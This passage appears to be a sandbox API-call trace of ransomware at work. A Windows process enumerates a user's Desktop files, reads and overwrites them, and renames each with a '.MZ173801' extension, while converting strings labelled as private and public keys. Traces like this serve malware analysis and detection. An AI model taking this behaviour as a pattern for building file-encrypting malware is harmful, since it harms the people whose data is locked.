hFile=0x32c, lpBuffer=0x24bbe70*, nNumberOfBytesToWrite=0x130e0, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24bbe70*, lpNumberOfBytesWritten=0x19f758*=0x130e0, lpOverlapped=0x0) returned 1 [0177.181] CloseHandle (hObject=0x32c) returned 1 [0177.181] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\4Zbv0xLp.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\4zbv0xlp.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\4Zbv0xLp.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\4zbv0xlp.mkv.mz173801")) returned 1 [0177.182] GetCurrentThreadId () returned 0xab4 [0177.182] GetCurrentThreadId () returned 0xab4 [0177.182] GetCurrentThreadId () returned 0xab4 [0177.182] GetCurrentThreadId () returned 0xab4 [0177.183] GetCurrentThreadId () returned 0xab4 [0177.183] GetCurrentThreadId () returned 0xab4 [0177.183] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c72af30, ftCreationTime.dwHighDateTime=0x1d5e80d, ftLastAccessTime.dwLowDateTime=0x1ceb6f70, ftLastAccessTime.dwHighDateTime=0x1d5e4b6, ftLastWriteTime.dwLowDateTime=0x1ceb6f70, ftLastWriteTime.dwHighDateTime=0x1d5e4b6, nFileSizeHigh=0x0, nFileSizeLow=0xec36, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="gENSLI1SLB1QB.mkv", cAlternateFileName="GENSLI~1.MKV")) returned 1 [0177.183] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0177.183] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0177.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\gENSLI1SLB1QB.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\gensli1slb1qb.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c72af30, ftCreationTime.dwHighDateTime=0x1d5e80d, ftLastAccessTime.dwLowDateTime=0x1ceb6f70, ftLastAccessTime.dwHighDateTime=0x1d5e4b6, ftLastWriteTime.dwLowDateTime=0x1ceb6f70, ftLastWriteTime.dwHighDateTime=0x1d5e4b6, nFileSizeHigh=0x0, nFileSizeLow=0xec36)) returned 1 [0177.183] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\gENSLI1SLB1QB.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\gensli1slb1qb.mkv")) returned 0x20 [0177.183] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\gENSLI1SLB1QB.mkv", dwFileAttributes=0x80) returned 1 [0177.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0177.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0177.186] GetCurrentThreadId () returned 0xab4 [0177.186] GetCurrentThreadId () returned 0xab4 [0177.187] GetCurrentThreadId () returned 0xab4 [0177.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0177.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0177.299] GetCurrentThreadId () returned 0xab4 [0177.299] GetCurrentThreadId () returned 0xab4 [0177.299] GetCurrentThreadId () returned 0xab4 [0177.299] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\gENSLI1SLB1QB.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\gensli1slb1qb.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0177.300] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0177.300] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0177.300] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xec36 [0177.300] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0177.300] ReadFile (in: hFile=0x32c, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0xec36, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f74c*=0xec36, lpOverlapped=0x0) returned 1 [0177.301] CloseHandle (hObject=0x32c) returned 1 [0177.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\gENSLI1SLB1QB.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\gensli1slb1qb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0177.305] WriteFile (in: hFile=0x32c, lpBuffer=0x24b7e70*, nNumberOfBytesToWrite=0xec36, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b7e70*, lpNumberOfBytesWritten=0x19f758*=0xec36, lpOverlapped=0x0) returned 1 [0177.307] CloseHandle (hObject=0x32c) returned 1 [0177.307] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\gENSLI1SLB1QB.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\gensli1slb1qb.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\gENSLI1SLB1QB.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\gensli1slb1qb.mkv.mz173801")) returned 1 [0177.308] GetCurrentThreadId () returned 0xab4 [0177.308] GetCurrentThreadId () returned 0xab4 [0177.308] GetCurrentThreadId () returned 0xab4 [0177.308] GetCurrentThreadId () returned 0xab4 [0177.308] GetCurrentThreadId () returned 0xab4 [0177.308] GetCurrentThreadId () returned 0xab4 [0177.308] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe307e2f0, ftCreationTime.dwHighDateTime=0x1d5eab6, ftLastAccessTime.dwLowDateTime=0x30563730, ftLastAccessTime.dwHighDateTime=0x1d5e479, ftLastWriteTime.dwLowDateTime=0x30563730, ftLastWriteTime.dwHighDateTime=0x1d5e479, nFileSizeHigh=0x0, nFileSizeLow=0x53c4, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="LmhsbTNLSJY.xls", cAlternateFileName="LMHSBT~1.XLS")) returned 1 [0177.308] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0177.308] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0177.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\LmhsbTNLSJY.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lmhsbtnlsjy.xls"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe307e2f0, ftCreationTime.dwHighDateTime=0x1d5eab6, ftLastAccessTime.dwLowDateTime=0x30563730, ftLastAccessTime.dwHighDateTime=0x1d5e479, ftLastWriteTime.dwLowDateTime=0x30563730, ftLastWriteTime.dwHighDateTime=0x1d5e479, nFileSizeHigh=0x0, nFileSizeLow=0x53c4)) returned 1 [0177.309] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\LmhsbTNLSJY.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lmhsbtnlsjy.xls")) returned 0x20 [0177.309] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\LmhsbTNLSJY.xls", dwFileAttributes=0x80) returned 1 [0177.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRM